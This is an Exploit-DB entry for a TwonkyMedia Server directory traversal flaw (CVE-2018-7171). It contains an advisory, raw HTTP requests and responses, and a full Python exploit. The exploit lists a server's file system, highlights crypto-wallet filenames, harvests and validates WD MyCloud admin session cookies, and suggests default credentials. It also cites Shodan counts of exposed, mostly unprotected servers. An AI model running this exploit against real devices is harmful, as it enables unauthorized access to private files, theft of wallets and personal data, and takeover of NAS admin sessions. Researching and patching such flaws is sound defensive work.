TwonkyMedia Server 7.0.11-8.5 - Directory Traversal

EDB-ID: 44350
Author: Sven Fassbender
Published: 2018-03-28
CVE: CVE-2018-7171
Type: Webapps
Platform: Multiple
Vulnerable App: Download Vulnerable Application

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1. About

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# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7171
# Category: webapps

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2. Background information

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"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos,
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content
between connected devices. Twonky Server is used worldwide and is available as a standalone server
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com

Previous similar vulnerabilities:
https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html
Fix:
https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x

Statistics:
Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
Rarely protected by password (only around 2%).

Top Countries:
1. United States
2. Germany
3. Korea
4. Russian Federation
5. France
6. Italy
7. Taiwan
8. Poland
9. Hungary
10. United Kingdom

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
Thecus N2310
Thecus N4560
WDMyCloud,
MyCloudEX2Ultra,
WDMyCloudEX4,
WDMyCloudEX2100,
QNAP,
Zyxel NAS326,
Zyxel NAS542,
Zyxel NSA310,
Zyxel NSA310S,
Zyxel NSA320,
Zyxel NSA325-v2
...

Other devices:
Belkin routers
Zyxel EMG2926-Q10A
...

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3. Vulnerability description

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TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:
HTTP request:
POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 228
Connection: close

contentdir=/../


Now one can discover the file system with requests like the following:
HTTP request:
GET /rpc/dir?path=/ HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/webconfig
X-Requested-With: XMLHttpRequest
Connection: close


HTTP response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 128
Date: Sat, 03 Feb 2018 09:31:28 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

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4. Proof of Concept

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https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py

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5. Attack Scenarios

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- TwonkyMedia Server path traversal vs. WD MyCloud

Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:

$ python twonky.py 192.168.188.9 9000
https://www.shodan.io/host/192.168.188.9
*** Port 9000 opened ***
Run Twonky browser on port 9000 [Y, N]? [Y]
*** Get Serverdetails from Twonky ***
Server Name: WDMyCloud
Serverplatform: armel_gcc473_glibc215_64k
Pictures shared: 0
Videos shared: 0
Twonky Version: 7.2.9-6
Build date: 03/25/2015 (mm/dd/yyyy)
*** 'contentbase' path set to '/'' ***
path nr:
------------------------------
[...]
022 Dir /tmp
[...]
------------------------------
path nr: 022
------------------------------
[...]
059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1
[...]
Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}
------------------------------
path nr:

This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)
With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...


- TwonkyMedia Server path traversal vs. privacy

People may store sensitive information on their NAS devices.
Such as:
- Business information
- Health records
- Passwords
- Credit Cards
- Passports
- Currcillum Vitaes
- Invoices Business/Private
- "Private" photos
- Illegal material
- ...


- DMCA protected information

There maybe also DMCA protected information public available.
Such as:
- Movies
- Music

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6. Fix

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All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable.
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html

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'''

import urllib3
import sys
import socket
import requests
from colorama import init, Fore

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]
def keywordDetector(line):
for keyword in KEYWORDS:
if line.upper().find(keyword) != -1:
return True
return False
def checkPort(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,int(port)))
s.settimeout(2)
s.shutdown(2)
return True
except:
return False

def setContentBase(host, port):
payload = "\ncontentbase=/../\n"
url = "http://{0}:{1}/rpc/set_all".format(host, port)
try:
response = requests.post(url, data=payload, timeout=5)
except requests.exceptions.ReadTimeout:
print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")
except requests.exceptions.ChunkedEncodingError:
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
sys.exit()
except requests.exceptions.ConnectionError:
url = "https://{0}:{1}/rpc/set_all".format(host, port)
response = requests.post(url, data=payload, timeout=5, verify=False)
if response.status_code != 200:
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")
sys.exit()
else:
print (Fore.MAGENTA + "*** 'contentbase' path set to '/'' ***")
return True

def serverInfo(host, port):
print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")
try:
url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)
friendlyname = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)
friendlyname = requests.get(url, timeout=5, verify=False)
if friendlyname.status_code == 200:
print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))
else:
print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")
sys.exit()
try:
url = "http://{0}:{1}/rpc/info_status".format(host, port)
infoStatus = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
url = "https://{0}:{1}/rpc/info_status".format(host, port)
infoStatus = requests.get(url, timeout=5, verify=False)
for line in infoStatus.iter_lines():
if line :
if line.find("version") != -1:
lineSplited = line.split("|")
versionNumber = lineSplited[1]
print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))
elif line.find("serverplatform") != -1:
lineSplited = line.split("|")
serverPlatform = lineSplited[1]
print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))
elif line.find("builddate") != -1:
lineSplited = line.split("|")
buildDate = lineSplited[1]
print (Fore.GREEN + "Build date: {0}".format(buildDate))
elif line.find("pictures") != -1:
lineSplited = line.split("|")
pictureCount = lineSplited[1]
print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))
elif line.find("videos") != -1:
lineSplited = line.split("|")
videoCount = lineSplited[1]
print (Fore.GREEN + "Videos shared: {0}".format(videoCount))
return versionNumber

def checkSessionCookie(host, cookieString):
url = "http://{0}/api/2.1/rest/device_user".format(host)
cookieTemp = cookieString.split("_")
cookie = {'PHPSESSID': cookieTemp[1]}
response = requests.get(url, timeout=10, cookies=cookie)
if response.status_code == 200:
return cookie
else:
return False

def browser(host, port, version):
while True:
var = raw_input("path nr: ")
if var != "exit" :
if version[0] == "8":
url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
else:
url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
try:
response = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
if version[0] == "8":
url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
else:
url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
response = requests.get(url, timeout=5, verify=False)
print "-" * 30
validCookieString = ""
for line in response.iter_lines():
if line :
if len(line) > 3:
if line[3] == "D":
line = line[:4].replace("D", " Dir ") + line[4:]
if keywordDetector(line[4:]):
print (Fore.RED + line)
else:
print (Fore.GREEN + line)
elif line[3] == "F":
line = line[:4].replace("F", " Fil ") + line[4:]
if keywordDetector(line[4:]):
print (Fore.RED + line)
elif line[8:13] == "sess_":
print line
validCookie = checkSessionCookie(host, line[8:])
if validCookie != False:
validCookieString = validCookie
else:
print line
else:
print line
if len(validCookieString) >= 1:
print (Fore.RED + "Valid WDMyCloud cookie discovered: {0}".format(validCookieString))
print "-" * 30
elif var == "exit":
sys.exit()

#*** Program start here ***
if __name__ == '__main__':
if len(sys.argv) != 3:
print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
else:
host = sys.argv[1]
print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
port = sys.argv[2]
if checkPort(host, port):
print (Fore.GREEN + "*** Port {0} opened ***".format(port))
twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))
if twonky.upper() != "N":
version = serverInfo(host, port)
if setContentBase(host, port):
browser(host, port, version)

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